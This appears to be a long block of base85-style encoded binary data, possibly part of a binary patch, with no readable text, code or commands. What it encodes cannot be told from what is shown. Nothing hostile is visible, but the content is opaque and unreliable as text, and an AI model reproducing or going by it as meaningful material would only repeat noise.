zz|weMfmQLo0zH-$)xHAf0GqzfclC9JOXdMrUpKnw2VH%A-qqI;S6@H2tX|XCPk~Ke zzjyWZc3fr(>Wy6~K^GmdVdhFqv3zUh2M$G4)W+ zYvTO|+u|~VTjTu(dtCH$To|^S*bZXsb{hE@yPZZpY&3oge%sads7t=f-r%z?o?pl1 zr((SJsQlDyV3nUbGcG?Bb{YSqB0kNyr>=3)PjcaQmwb$u*&EPvU(J3X^@{kqochW5 zTAcbB%R1lagBU*F=mXpL8v52`+jR_*%iKcLU=Z2=U~C*SbS++J0c}7(}asJ)j zAUN;$z-I~$BgXA*f&=i0eVt&sR%PERm>#HO-=+Myzz+ycgRkuGDEjcEn$SdG9@4aNw7~QNdZS0`Cxd>0f{VI=)#vm>)n3)D z=uBYME&F|7^|S9LVD+;HapzS(Ti~Hf_M}7kTHs>^`_QkiQE=MRz&aO#@P|+5Lh|dt z7&B^{jGW=yBiOzi7-LWLyk6i>3og9}_>f>PeC$*G%P7}=L+C{p0Dn(#aux71inD=# zCAefJF#JpMvthUIUBPs{+8+=c`VDZN;I#XJrwgXX9QwgWZ3`X(K2fj-^MHP2k?2K; z3)+Vh_FsuVnV$AP;9XOWy? z!6|P7pC{N0-I5LqPP!HN-<2Qpm#&qPZaF^({(<1s$ANz)xb!k$*iSrpp8)=|;4sD^ z2{B6aqH{22A;EsE8_7k2bN>Sv{$=^_d9u!_3?H!0slro$*9%X|+ra9pv_9Z%LJ!OZ zjtR~r`h|k&!A`X2B>BbFz&{b3cM1Te0w=WW3M5FGjg zt|cZ3E|~`m9}!RCNx-m~aO&TImnyywc(ve)1;Egoc&6P6yj5_{-N4%gXJhPAG%t}3 zDVmq^<^W^PP+Qgk^O-Q~@I}F_!`B4oK*y9v1gF47#Ly0^XG0shpdE-x6F@ zhHJkX8`)9dLZO#E1ze^4h>PGl!SqOE{7NwE6Z}4Kzu+*&Ex22-555oX6PyL!;C|(y zzR)+@0-pr$5$u7Vg5MFGeH!pl!R6G~3xc!G0{*?=)ZYOAO>jQuWh%y-WELUbXm3V1 ze<3hpf^gyWz=%J>`qjbOUxA+=3#Rxpsl0&D)sg-s!i!;(H=9Xk*5N~lHnlaB!FIF{TC482Ka#_PZxf_)o- zM+E1k0-q;16=M=o+f)A+F!W&CmjmA>IB*{@#+c}3i-9$#g@=GqNAzhazz+$|K^%o1 z6P$V&7_mh><%pLM>?a(?_=hxy_~F~ob3zY34g4#?-cI1(3eG#be-Z58 z4vh9h&)5w7f#72JEX^-CTn!AHiKplZ;4HyD_?aFeOZ4*BfR_lSbs+6{!Q|t#I>DK+ zJ#DSvk~e`7XVkXv9bovEFdk}ZrJXJ~7dE9u1P2gfX;HzMh@Uj*P5d@uK266Z2s_er zT=GVNFBhKdTwvJG{D{xALxL%`)6gH$Gk*pAxbm+A{*mBv%!{;N2&Q?F20K|#Y74yy z)4WJmU(vis*O)AY&gs*Hhvr54e8Ds?(%S^nTu4_Ni$P1r*t4FHpT0+M{++;=3Z^`h z{%OIPyMezbIO|2=djylt>E9AeI;SHhjLzxssiX6&f>~$iM|9FT!y}k<&d3lIOlfY#exGL z0M`jFXaYtYQ`<1?%{)^u<@3xj!MVwHzb)8$0r;PSz2633zS3s{!>81i9{Q3sU2qwEpM^T2 z=Of=_VSX|XVk+x+!O4ijthIu(-T;Pe#6$ki>JS|C0S_t<#v)7OkbIs6dx*b$Gw_$S zE$qtruJZQ*|5)iefOSrlZUcTz=rmsR3`Ns#w$3TK2Qxcc=p;WIzUICVC-mST!n9|| zUL)9oKG_>xJSaOd2Lw|rWq(XC#S-m5h=*b+`+#7wEBjW#q+7PyMX{9qjJEv*FxpdF z8sBX25e~q&Irt=;wHG)?FddiV%oSX;8W=VZj~Bkm(K!`N0bU{WwB5iuzrr^Fw+Ov_ z1F+`Fq^|*MZuI>T82%-hY2ODvPq4KX7`n1PsLQ!dc^(43RWRk2oVx@EFh_G9P<$@% zcNAX;thq5G3=DfnX2uNQ-w95FpK{a>1(2QV5qcP7o~wSC_A6ku*Z&f5x5~c>SaU_% zF~Gw@4?POJQ?MT~nG2n$-;`G1i0(_&;Gxr0(EV$_R7~^!o_>pld?>NCh z_%F}IPXVyz;XL%4hcTeO3NHbMZG^LL1OA5Kq6NUl-VoxTLg*PM0%Kf>KPeA5CO8P4 z^FJjxw;cF$g2T51KQ7q!9UP~j9ksPE)&*&T)1ZIBV!_F80k0CAelc*f(&49q&4M#e z16JSWp9HM_Ed30y`p}OtDY#tt%kf!oKycwNfe#6u2Kx$*C=dKmaKGTvF91VV(lc`% z@Q;-r@mqlQOg|s^b-}bREBL!${|xvvNpLadVIeRc-~!~E!UqLs zVSEZPPpIGGvw(jpIP_UyjWIgbD11}fqW{8w3QjozHUzcpvA~Ekl2d*caFt-X4p4-+ zA$kSIw5UOF0b-*F<45%L3Sh(#>ktKoF9_%U33!WOI)_x$DY!fW+$%WeQDEZ}k{?t0 zE5IKUY~fY3S8)0=;7b*s0(_O?bAYcE9H6%FDeHC!_@H9skD|kh5f?>YQjC0GbhqG? z6ySRWm;DM@{hYiX_}fCyMLg2JljP^W1^h$7dC0d#&k8PuO~o04ry-XY7YnY)2S%Jx z+Yn-)xK=Rb|6+^>(Q{@3Hwg})uVVFQ=mOwvLN9>b#X4upe84vgJ&*XmD|p&tz&{e4 z4cm*K7i_~%#qTK{bEKp~>GOf>1Q(tS+#|T;X<*n-x@F7-J|cJ;^ejPa5#4_-u=*zt zJ}6P2WFQVpo)aDmJ}ddHU?1YE1UZq~dcO$#f#8BSu;)uvybrigFpWv6`pvT%c#-n# z0bVIMV>@uOV4oNGbiv{80jn+3;MdYo<;VOh)ws&VIFw#3^c?u1^hUwCTY;e;>lp*S zM{pU&v-DenlO6(wkBBE9eU_@dfmOh-3OxvYOOdmP$3j149;N>VSmVS8zm}B>y##ud z%@OQJ%$6+`To?wf7hJFbSmzzx<6U-^(DVKbjQK!)m3+vD2&Q;0|Bhf9)AAn)rZFvlK`_Nn`R@eN zIF{?U(>T)g6Ou{eH7!jrjn}jy!Sr2>X)|yx6+HBshCVJe7;%1y!OfPn&tT|!vB8M* ziws7b?=W~T?maO066q^g0QsN7{4;dq$@K<*L3n&E+@?Iaz!6**Hay+JWB&)}!^%T_osa9(hUa48NyAb%)vJQcMx5_C6ei)au49{cQ*PWmrRUV8r?Lk)>o|lCus|NHpm51>AxQ3`a z6<*;XTPre^2R^7Mx2(N}r&4%Q20=%A9*bqbC*mFn!&5Ij9>jk|tJ+lvd^YZvFg#tV z&y}DLtDG?K`M7t&@LViB#g~J=UwNv458^%w!}A5WXrvdmS#pr+f>mn!nC%}JGdI&U+&`aSfJW7!JrSA(> z&QO^r0V98MUps-1Qy%nLi5MU~gRcUsy@d||tG#?aSYsgL3D6Nw%)boyQk4mxRDMSB zqrf*Q56!K^igyEl8Gq=j6k}A0K3ERyt%M(lUO_rz&%pFB@QXtCzJkx!gihbXs`6@I zh>I$klW0r#T~-w;4{WKbQ2ZY7JdsoMIpC#AzZmvKAr z9_4{8RTn9~3K)N+f1wZfdZn)d{=CqGSnsOt5_;fy;P0r+5nzlZ%RdN=oJqE)1b|;w zTnhXLkyHFt;CEEcQ9N%Ne&D!$6F6Pz!@x6DCVVvm_Og8VWXAEza|3XL;=6$nuOue~ z{b!u6bogKf{)iri4`&Q1op>%2nI6Rd4A@KZJy@e=+^jtFfp1gX0F1SR

0@&iIDV zlVQgU_<`uY<-o9qY^U$;&48{fvlSS8jL!xBr}7}iW}dzaMy&(6g(6 zPgeRq;8TU3cPwy+(0wlg4-1{n70v#*>ho>jD+T*7V6!2YPvx%whJQ(amj5G_xe4@NDTZHX!zU!4uI^bm*!;g62elfr1Jfs+LI0rsu`MtnDPz-rB@=ox9kDR?YUSSo{29dufNxPux*>K+em-oSd$-W( zw+iNdU*-G(_{Yj027XC#74YlI{{-+~m2Tltzxi?gd1yoOOO}B?Q~6tgmng;<&O1>t z`kl8<^}$@9hjAjG(`#OrVv;i;Jf(jF*4)S#KB2w>8K9r*!WRoph8^=XXEOez&@-O} z{aP2kUU2vupx@-e8cP)z-+8wSov;tc5xacI5Q=p&gqVE+t{qBQ(zl;8$(q9DqEf@VAq5JpY(-)_E0!rVHPnX|3>Nomb2TzrY zA7e&#(R$&5ZbpAkyU>#$+q2b0?^Zh5eU*z&{Xq`h@8dxqj+{eEC;Q+Fhkm!xA;a^$ ziw-+k&YSpr-9@J|$$t-@_%m|6meA?<9K0bHJyYrM0gai%A67a(z4Kl48l{8g-Rz=o zQTkP&_qyo)O1}a011>tsq$lmiyoX(M@-OHC_|tpTMSn)=@T(WLJ9_?F>BE>ep*Y>A zcG2%Q_*{1R)Gpc&`ny4C>{RuZ*kGL3Y~tp!Qbzq z4=cS8bjWh#98&tZpdWG3?^gQdpg-uMKdN+$t^X+({ixCpS=FO^24WqZ_{5_E__Nm_ z{D5CaH9z{Hnjt?Vt-5n`)T$mCq5`$4#ZMnsj|!3aM}OWu`-P+o^Wl1FWg zJRF}`0j1$1M18ElpLrR1*l(~N*mKc~`BDY*JMod7*vlozqy8q7*Q)$#M~L{~8|P*E zJsA|jtEA@2SMj+Of5cCEQyuBN1%K4PzCz7#)m^59Pg94r)-CTU_+%zxm*ruf?8xhN zwE;Z#?{FLTF3!uy!~Wcn4S0MtavJu1&dc!a1jS{?SD#0@AAe*=n%0pWSK`mK0bG3+ z-op4ZFH?6Z2rhYFgB>i3zTOs;EAeMuhVO9@26fQ~WF7t`kx4=oJyt9J3Snqz8~9<#hA9L9gVLp zO6lfh(>~7alOCBD@;)22S;czYnW3Jj%yyz;8ZncfG+F z-_Oe^_*hADvipUBfG6pglrnyRKFDA5Jsu|ce10O)_kOMUR8hxe{w=XBPBYGq9uHR~ z`TX?5vz~x746qo+z98D~7D#hOpr06aFqhYk0&fZUlGfn!$24|U5;^CK0-K0xk(BxP zdx`QFPG*Gy^i2cXOCqhLM!fCdDQP901pGCh#XZumVOcK;+yHnp!(_ysU8Q!UgKQNh zL$-ZB3rj{eu+O(L@cczi3Ojs4rUbDg;KCsn&diAHwvsV#?0vabCgRtg2aRn6rhR}l z##L|Xs45u|;YpL0l%7@VoqQB9`%&<*>sNy5EH-4C z%G;lOI%qeEyfX-@yfe|(Sb{|8xm7Kp17h6KNY3$`1?SKmte$^YnM}PehkX=C?nBKB zBKaJGDtS9gW(n4OW*tucH>8xbjL5K+{3Yhhh>TdtcQRu}WS2#^#yY;d3-}!M<(CPk zXGA)CtmLnt<^Af{yNO?Yc^~jf_2mOdaUTndPTvGRTqXD+;3sAaei-h=EZG+JNgZP^TKMnk;R>4S* zzImGk{{#b-zD4kV0(-X#rj)#+mow82Vn^8Xo3#?i--|bdA9>!l6qDRXrvmV?D%sOO z)df^a_Ryr|gtV}p+GJ{>1xdO#R|~CFQ=^4b(9OZcTG&W6%e1fw zZJJkTVKYoRf0Y&xbk>drEg_o2$|Eag^R$Jv6)sN7@6w#9^34@~Jb;kAvpOnCKTqz_bS z8>9zohZ%Mx2{oJ`%3&SXU^Kva<1g#y1 zv@k+#4r^hQ3P-dMqryE}7^A|2TEPC%_CBtKT_o)(a)=-OC*R2qDRRo+qY$vqCvq3a8pMG3&BSk~uM%x|-%q_QHirqItS+Ermu zDhS0>?kA;E=7>`8N6PnEsc`DmI0>;-l=`GgDWsv|w^XV9IB#37N?q$x>HsSxZLf1F z^%<8^*Ap&PMZ)NdhdbqAQKS-tHdbUs2wRra?2OK_9xH@dopP6WCxo4e|DY%m!p_8h zP!yq?CDSepWzge&Lnjc<%)moGtk8*s#XF&uaYaI_Sdombp?)h=M>x!iht`s(ssyh? zROFLVY0vTdD;)DHg7g*c^bdGx3EIDh zjVmSQgZ69S-6=62v|lG#67xa(57b1qdO;hCAU0J1_40vi^@293^+BQ5kYXQ{R#JEd zZD@x0tQ;H#{wr=pzoAOG-iGU*oUMhw;bQ#y`C52~*lM)!chXb#jY0bUowZE%jY0ce zDjdg4R{C@{aaGVprptI)n_llW@dmevpLLsfBdKdlyon0N#G6TXW8&xBCLVN~h(Lsi z+Ue)1Q)A;7s9(sLIZ+lXR8((sZF~U))3ofEnqFNc5D$}{;mqs18K_6hh1k*HC<&( z9kffpw8XSPPRhFaqgv1qZA(TMh|sjiY8Po<1HJ()LHtgY@uE7KqCk-s30-!X@&{3}%|gjPRkTc{Sgj~UF>5o>}f*mYq7d5#mp$R6hvMnJt#jAi%RD2S!5!LSE z*@~z>Pk9hw4&Ld)doi+0ln1%j!Jl^Fw{dnmlXLoT$ny@amB^`^kmv7U>XBR<^85om zzbLsjF5dHpV{+H$}8|HETQ#D#hLg9CdwE%1L|GG>IG=`;e znlR)|LE-dOS`$Pe+MtD06s}sQg%AoiG;09~wBT^77La`l9&Fb_1`1DX)ys}_(K3hwUKLJn%K?bQONw6&#Qa@vjzY=Vks%>>E1fOFR*YXZ~t2#E3jF9#_s zIgj7-C4XjM%_zEpGiOE=YMwx`TwG83?*QmPJbPZiTV65VxR_VWQ^Yz(8hxA^3B)pA zd>*f2p^U46zYGUs$M;EEW#q6V1Np3Yk*s3$`%}f+0;=5&o2<%3q52#TI-LXg(l$3*CS0O?>q`%ZbYJ`c5dqUeuAh*w2j`;eS zKx`;WPGV85Bnq9BL`c9XA|MNkUCB9IKWysvnXVkB)4+5MGhGKJc)=<;3?~0U5t2O@ zgs*V@*HNEx7mDBKdb}0SQYI)>@(eRQ3#K3(Q}P#w>B~UIsO%wBy-%E_J|v^k4AkXB zR0=Xj$@^?t_HNY8KpT!O+ryI%^}N|r=ydU_DpE=MxkVaKF^43>Mq-YtbI zP`%PVR|*IXd@)I`QDq~TLXX({qz2K1n#-l|DK1QaFs7!}dE;xDAEx+wV!?i|A)1(x(jI9*o&5JkG@&!r92|B`XCY zu^WiAUJ?;1l6uKvfk^2k`^q8D%BGY4IY$)FB2yGEBrhvQ_&Ib;ib9{#PofA>+~(pr zlSWnPT{NhQw}WS;;!zhy0&(Oca2$L!c~kj$XcXV#;<>|x|J{YZ;cEMB7ahA8NB%P| z`~rOP7nT1T8Y{(bfPPr<+rZyv7v^N(PWvA6zrR-qkH_J6NUTsNhuqYgYV3{P zzt~u0YN>3Kk-~uztU%izERwcRCZ!O8N3V(-(av6sAD^U>Z6n`=f30c&2VRyNkL*8z z{_YZP4+!#7=6{yn@nYpFYL8_G5W#?#=_9V&G9uH_pD>`ns#QdnbIV7l!n87)9fz*j zkKp!^Ar*U%2Wcs6U4ihx(DDmaCn&_Pu*Bi%mYrqKNY6?2rkA8=+1W|7ufpxCsi`M| zgc~wuT1`2SoB;}gE8p^_AD4Q3D$($eFy;#2+KtlvL=P0$sj0+dqmYv3Y7w;UrW~T; z+-6hGLI@1yxOj0xf|0%qb?G^_H$5&X1GNF^n`$#jBkC@T+5D!%Y?lyZshm7(RuN`@ zo;|Bb`p)ySMfpxMKWT(thTy(o0ZGR}s#AoNB1aWwE>^9%P@?8?0SC0E9YUWvCE?|Z z9qP&=I<+xP2{1qiVITa^lw*vjn2iSXh4Se+0Mw!qg2{T-ugc-)Zf8)i&*Vl3%UN;h z_}WFawX#TbnpG5r$T@BTZo_vMn{p@wRux{q8ePt-w%skskokT`3;fusyWVL>Y}Ii# z55j5TCoZxPW!J4PszqhZ6&Kl-r|?s&p>wTUgsXEBvIthF#h8C?Myg%x5K_g**m;@o zz;EEXYZFvEHqJ(>Eps!DQ((C&z)^NwwOt!`4ry?_->S`_o4!|612~;n)(Pa%6-9&T z>~(mYURC&8Xi);IRk99{E_V;z-0T@=-aa-g;*ux`31`T&@LG6}pU0qv-hjv9r zhPxI-J39NeEUjKtU9&|6Ow}@>h4OA0=;-RDJ7cHlZPGTQdq)2ie#yuot&Z4s~q@f*&0!Fdhjt7!$I%2^cTa0ZWX5 z31rAdS4|rP4)e3<1@jZf`?w=vijIs7jhMQwp>DTw=ms@NE)a%?Q4Njk5k~XyIPPd{ zun%^if`^?R6M&TbkZtFAGs4~-wzoK(;|*13c^|V@ z4oh}UwKv=LrdE54Y}`G!8Mh4DHuQ$NR-}jg5s6tnxMy0PHIFAA@iVLF@$FrBqDp5+ z*LHq7ds9n$V_QpIb7XB}OJf^88(Z3&+E1VI$?Y&WO4d#FJf4y0=urR8Xd^$T-Si6n zx)_GBb1W8Z$EcBj36G4KlvodiW6?Ez{n0_(Y|SS0c8oR+#-byG9sJCKok{ z!!ztV`iBtjk)gpzba!7Y(lN3PQX`|=`o}N}h6Z<9k>QcPoluebnDXgMySidS1D%o4 z7%>h+M@KuhMXjOX82(%I=%9vJ_aqK)+0fEx;evQibcCeGAFGD@Aty241gbSiL$rB4 zhO)VFJsD+;)AFQst<9S@vM%mtV~zH0gO?+8QGRTY3eoN`-Hb`X>)PAfnpSUWZ;aG8 z)V0@HgVEhFb;8>Ip-v1ATT84B8|pW)A}t#l8eKtY;eG}Adgpzpz`Vcrf7S;LN-(4p&D zcih<`(&8hYs)XDp$z;)jMb*pkWrQf@Ay#wsrZsCC+ah(%%^T_?O&g3!Mj?6h5o<() z4z<@I!uq2lr`C#%gLu zJ2J9(8KQGj^U&Znq{@zw*aVJ&&Jj!{jl^O4YQ)$eXS;5hu?^8KQjC>^juR$n;(U}x zHqi*RH*Ri^@bGpG4M6VbD26n$t82s+_~^A8Q_rnAxu}uyX)C^D!B3hp&!MW!uHs>KPsyMVcdTwqS(&28PE*qLE>e)q`umq*(pBI(W6EenUf3%i2ie z>iUMJdMna3G_<{s=dA0|avib0p+R|^C+7A5dDeJ6EwTq9jBCGqh z(FBP^Vgr#~-5qx_1b-woqRQQPsG) zuD+f4ji2Z#f)Y~Ef#}FK%!fTxJ@sR@m>F}`l|k5nuAzqdT|;9!&z%LLwXLzCaZOW8 zV}n^EkiHO>Jcj+~eK5uktDDfSuB~o;BUTyH410+FZp>WqQr~Fzs5)$*Z_v_5Ms{|L zA_GuP>9LS^hDJI%`=h7z_Qj&3!yWM{kF@}C;Wh=fZ{#OJic>I=5Q4k9Mm6M7?HX|% z>|GrrgILAM5VRfZiXn=+IV`cU7~B@-w}b@fWUU^oOc-3uW1f1WYnqxH5%;p@xLx|8 zW8!)~n&eK3hIqcGC}@EXH@4Q*H%i1z2#j^7uWoBWMUEQ>7h)7n~<>{P$r@hiAU0koL1M?f*EEF?Ha^# z)d&6iI{J~uWnn{hNZe(#*0pVn2huh?85D_aAc~=sJmktjuGNIH1k{}H_(4QHroo7X z#M9Hady;v-seMiDQj825y9T8}o-Id*I?R8np31@Ej4{m}_%WOMUaE zhDHQ+1J@y}B%nv5T~?%Hv@6y(5ap$Fa0n|QQVWfWH9FRbX@h-)Fz=xpflfZ`0ejee zBe&t^Ht;njOtcMMU792u2g9+6vyGCY#4MH5mYVFg*eVN**(BVraF=tW!&b?P2#{1n~Pk~m2z zklcex?n&&L(?52BI0o&)4gi)k4I?+nmdEotoAUl{tl=Qbe3K2q zXm=luulhLtIEb5hbDlWNNPE0>7?(Qr>A$45do`R~JL>quAK)oZn-uS2BZH+XvaMra zpo7MK5Qu|ZQbl~xz!>oe$U&8izs5&HVj9`lUf0$xyFABJya;j>C2V4NyK&6o+C|vq z;OMmnSnx8dZ`4&JNc=%~kgtTAES=xfQPb%9j=n+Jg;ALf57fxDEt|si zwY6bBck;iPdl&esimQEi_SxqoC-*zo04ETTO9%l$g9b@R0z?Bu5)@l%2uUE3kYExZ z*icZ=f;Y6bbqoImbg4Q?&GASd0Q`Lh^(#}u(v-iYpL7F zl0kwytXZ*YQGIP)liA$2wUaru!Fjvjgye^6bs@b@cT1%hft61+nZf zN-uy*M>~%Qid*Adr8iyBP^>`|`qE(Zckuq3+k5+Q%Zzl^ zy^B6!)*Jde*uof|Fn9EB#L4cya=DJ(e%pLoL8C%Tbg!6gwzqEN6=l3+?^=T~GU*jj znxQP-18YX}v~X%Js{_bbw@z}~{)}8GOLi9aClQj4S%=!<_I8~D&}V zs_N#m8%$fzCO8k=zF@)r+>hi9b*jzgE!|sqSqyXTZ5h^Vbu}w%7jsIs?Ib0Xm(QEu z%&A-ahE(g;erVH(n`rJjZElOqG*1+6PT8C}l+M=+=4b62=o3z)m15?p7U=8WhhonA zC7k+x33I8x6ZRN?ANHrcAD7eLFQNSX66TAcigB>%AcXiaVqTy#;-uril6HG3UI&Xq zdv27=0~tES0K0M5rB|l(rd{Xb!3(aFT`g`3-ll2av>BIED4cUr5vE&aVTd`2`?Zow z_jrF_D&qkxxw@xo%ckz-TQ;r3t7?w{2AiF4F|94SZN&<&ZndHd%7&QLCJU}xfnBM zxg}E5gX?0<|N6IAv-@K@nJ{x`@$M+gbyYL&xt-IzvbK8F%Er3$YMYz<%M08X!d}VBYBS0MW_SZ#w!SO#T`S;!6{ns62_abQ}w?4U%awv ziLwH<4x3fDQ0i>uO)~L z+BVjzH|mYxZn^JnZ$OJ}QR1adL9t~*f`)+eKd}X5Y|s(Ww^46yeu9BBJH5WnG}m|2 z#QWm6n=$Wi@5ivx&if`DpKz}lIRc%Gm8606!$Y$ZU=q{W3SR=Mp!StN?y6vVdcut? z&lZ}y*|F@d6$yhj!9dqL+3)4`1# zsI}YP2*h9+xD@t8f>z@Xpp02kU42Gusy+a1XsC{1F`#zbK#a{PpQbZ*K4QZLPBVLqz+cj5o1`9FyN@buy3eNcFK{tpwjs_{>vG={=v2yev1 z4?KYN(-?~|{^AD$EYCj>#v{`BfpBs>B$-(s|3G?*9{@nuK7rR*gz<(%{6H9QQN<60 z@z#r2g0`i<8>cD{ky=Gf$(pDYw+)t_YyE=@WObh%rwQr z4&HX=x7!{+ey(rU2Eu%axGfN#2i)O@6DI3^*SEbC-JTv(-NAZ0W0sIi{E;jHdrL-r zM|>vEtnpCb0t|#2^6ur(&keiHBL$pnH2ODryn%|`+WUvy)IyBj0#J`V{H6fQ^X^$8 zzm^h+2tLR``miU`P$&CBW-0*=m{zujV}baRKs?$l$?IS6L8-u5A3@$6#kqF_qb(Wl zvi-Ol#G`5dixh_*0$!;&1#hEquVd1LJ_@{E z@u)ulZ&Hl!GmQDT;*3uMU#2)2JPg9j%l((krxcIA7x;^cNBj%;4#klhfKfK-)1d?I zbxfSce)h6rS;6O@in&)e){zk!?w#wP-;=7lfa)=T!1$uo!b;nF#;-m+G(NBf{Pk?`cIf&RYWfXG^~i_#cY-wl>?4e3I@4hW{dVRs)Y!%>8xvbtdCSYydu0@#se2O2uPl z0bi&%2X7{YHY#R)xz{oCru+_gx8ewFk$WBcW!bu9zk_&N7w-Mby^cvUx)1mT#mPHi zf7T{LKL;MC@tNy@;Y&!*b#UD(#Sz#eKkH)r$N^y3B{5hSw_WiV*ob?v;`D>Sw<(Sy zoqHXN3}_?nbxfT0M_?;k^kcxDo^ye%o(rHK?sZIh_i@-I&Vpg*-0N6)A}(BO;|qap zU&w%-xz{mi!tl>r51Duj>@d7tamsIiuTUI$5BLVf`LM_E0mXSCU@JfOt>j+E* z!#}ZkZvuWwae4~ybBa^Z55li1&UhUd{fBwE#~AlICLRHOa<5~Fe;9b8V%h-LhLp1I z1wKo08tLm5JLuos>zFjTXlw3uOq^B+TZA0M(V4)OKi8Y*UdN25U2%^~;)45uD-@^C z0X|Q0GVCs?Rq+_KBiBA9eI|x!?sY5}+g!)Az=KIXBy;6PFI|Rc1Rwr*!e8*6vcTMKa)>Y99jWv`_yRYhkG59 z4?n8mUdO~EM*_n>h?8^h-*0KqpOPelLvc??oyiYap0>JM_`-W>zFkB%z}Fz6K6v=-0PS)44p+`2NI8V;9keX+!HkV zTg3&p1HWMLc;J61P62;3htTIu0JeG~eTtPc{fEHtiR5X%20Tx3>gRx~6lb0VZ1rYf zFDVz;c(h{*?0|WrZv$Is__Lwz_yKY zM*xG4dB=Pi_!`A2Yk)tm*y#iQisBK(wlC-X4fy*SpG0|nsyKBO@NX2unoQbrin&%% z+FuoiA$xj6@rW$o9K|C)0X$AIb(lU)vAYF$o~4-rT%|Yza;00FjC={$vqQ8=x>v`i zfx(w`EI>Kwurp%rA)0=h;>fRnZQF7G_VjORy!&zBdle`D1^By))AN8Iwt3-?(~+M% zQ{hX}pH-YP0Q{U{?q`{PTyb_Y`fXToY720x;_z1BY{lGXIsxWHX<*3B z_`FX6V+XdPz;>aDqZHkj&%NZ9b&bSMBv*Hx^(G1&1ayx)wyW|-nzDaTVG2jD=^X>$O z4UvX>yk{UxoO31cw-u)$oWZ_?^XS>Yhb(;q@MDVkA!5c8igW$}Y}V)Du7>9Oh1$Pcg1-q zH!Df8b02V?#gH>AX6cD%T6)x%U!qb5%AB=CF=ftbQcRh%S`<^}tZv1WIcu+C?&X>F zX~kpK0HaTm=g8T>cPn=O2lycyKLyzO4ff@%|I&CD`p)``;=F~x|Fn4_Grz4OPwG57 z$I?Ll?D2{zfA$Q;ls~&%G3C#$RZRJ_t({Z;>@JNTg}#}M_9p+lKLB5$m~+zX8x&{5 z=CcndPDeemt*@Zp&VEqi>CdyDvUx`Wqc4$XbR)3!?U^5geMdE(?U+-bIBTr>CepLr zbE-8y8+|LMPH`v=c!lCz*nbY{NqVOgc#Y!G;GMI@(nFRU_%hOrfIf0ARh*6X$@!$E zIR*Gy#VLOTw*52-eklh!6?vWmzE?5zpYyQdoZkTdTrurG$J!xvo-?HJDZuy;NcfC| zUUMfaj-n6c&Q{F*DRXU~3Zu<)ZJ%O$<({uJEH~HosZ7Y6d$Gm~fAksA18J^O%sE3Y zY>V+3?*dzY!v33!b`qTsA688HbDvgBTgv^DV%k#f8;V)4Jp3~+Wy`bmqAlf}s_|SI zDz8#8+c(elqqI@LYc;+AelD+9aXxI5`xukwsQZBTD~>`o?rF?;7xtC+1;r!24{ZBa z`tN|P9cJAI3|~O{)O=v;8@X?J-jf<{T7jQc>_9hp$1J7{Zz@iPT*xkb=v(rwKja)L zA9WD^=%@L`7Ec8(Q=A5V`KU8#IOgXsRh+vGxJfbheadf997dbuTRn`v71-7{?eD;k zDh=;>B~Us)VNze=_=cLC=q9)mU+v0QNh>NnyN#o@WY z-%!lC)rg_*<49`9{Kq7@xHZ*y=Xp5n!uN-rpMeoYIWE7Z~M{-n6_S#IhQ;GZZC-wyng;*rk-Kc{%i>AbO=5ECWhkzeeocmqi zzu5RAz|b%Aj<^jUg-=kNeHHL@#VKg3vGWv`mi~>d(q{*HGZ1t9hx^n+?#;08fe2?N}lv((F#iNRV zZC#?!L*Z{N4f;^w3zp^)U~50_BH-g1KjLTjk~dAU16jsF4v_)pag!DE*~d7@#Q5-U zfNgy<7X#O8e8!o;&^u{H{|R`#;{4A8TRY)Bm2tZ?J`??K+%<|*?gzd}@u(HRUsas- zOW^wyhtV&_p$_Dq`~~1&C{Eu5{H)^We**tiG4(m_ZN=m{9&OLO)aUq2i=qGVqZL!< ztixJoP!gLUA(mIew|)QIKUk+LAok*5j?c(FVp_A4}biA5a>$-S|D05A-+w zI?JaB_-4hd%lJDKvn|Hkx>JYaAJ%y4aQtD#*{I|ABZ}EZ*r*hb@DSIjmV|DIyn z>V&9bw%3Gw#cZz$F~ziv3GgrE!#0{wu9$5!p++&=VnTyrw#9@siqn1zj5;uH_G7>U zinF!@?^c}D1AMJwJ}a1jx{*HjcHn~+LpR*tnDGX7I^hAu5u7JjJ*0mF_;HQr0vi*a zRGd`-{0!!j%!~G!fVz=S0c4*5`;$Wm(51%2pcjb;O)OXGM{NWiqd5H?V6;8? zBp(8X4H0Ldh#2w^=TrfsjU^uZW9^n_G4M|00}YSZ9vfcG`{$L>f4jT`BoBIOs57_uh#6K2@f855`ApWU9{1F=uyD~2X;*Z(* zCd9uPh=1G0ufd!q9FONFB%-&qh|dqikFxP?h%XMrPqpzKA9AlM-GC~-BbDwvb+TQk zGzD)ICTuqK|KiKOy-^myZ7_HjHsb zjsy1WojhAFK?K^te=p>KM_|t$-DwDWm`MlF$8IOEhnF@RVaiac@k`O)#@+!;`6BrD zFH*$Cy~KLh{d$1rsn;J5g5C>L`V{~#aJI(u$+ska$ZEEecgbZ*s)$VC=R?ZrG1b z(r6m7!EQ->OYtOoA915`(;!4#z{o<`W2sI!=-x+jlfz+{y!pBm7G4UtQ(+xrMSaCU z50c$D*Q75`vvlOvw6?fgEHZ&z68y2 zo-m7)5}HhWk`|eTv^s9jh`uT~8o=oRoSliikNCXWS(9(F(B=-;VlN;%nv*WXN*y_!*p^gIY)hI?Y)d+WI9v0cNz5Bnkc`7u-6+NAMy9S%@ma(%u|DHO zBe1s6WKDs3Lz7is5$HEGc^A#yM5wO6Ir3tIiC`9qKv-0do*tSf6`5f9T^G3kaed0~ zBZQV89g0_zk0E}$tqCSy&Wn3RIiYz_PG}$hEl;W}w4XOkVUm$f1iqu3FCw&@HwtIr zV2XuwbL4C2RWD{@@1w}qg)+0b*F?S{gqh9TOyo{NE5SE`7g=52MVy(*y^kVyBjB(w^7igi)b zNQj>NJWm`LovEv_3}AN7dAg`+gfDzWr`OvQ7@MhUuz_Y)M;A4Xgf7GU`z77`C=$9H zn(niEA4Nh}AT-bJeH5X2M$fc+A4Njfg2yX%@1qD`Jc=&C-bYkkWU<}*2s(@`W{mqH zoj+6_*_xO?kA-ig*-1AIVxd0 zd5Xy1N8cL_T0Dy8%aln)su|h)s7PNgjqoZB9oMFSI_Z?C7W0aTdQ=!>Mx5D5T4%}N z7n0U_3{GW0_dbd^bHQy!x=1tw@x4~UF;7Nh@1s83HtisrYZ-*rqbil2d2K*L^?Byi zftKznws|@!sMqWlA#lFe(i>6IOkJ@y66!+AGaWY1CI&X!KsN&eHqe7|cJH!*%?RAE z*9I;IS=|8}=w+URHqghwoi@JC#O5%j6#-J+1ue)t9n zC;Qk?>O zrZ2@?`!Cg7`!6lH_FsCOmh10j_zUjIDuP(i%v;=zsaf9If7$*benOTLV1ju@uCD!; 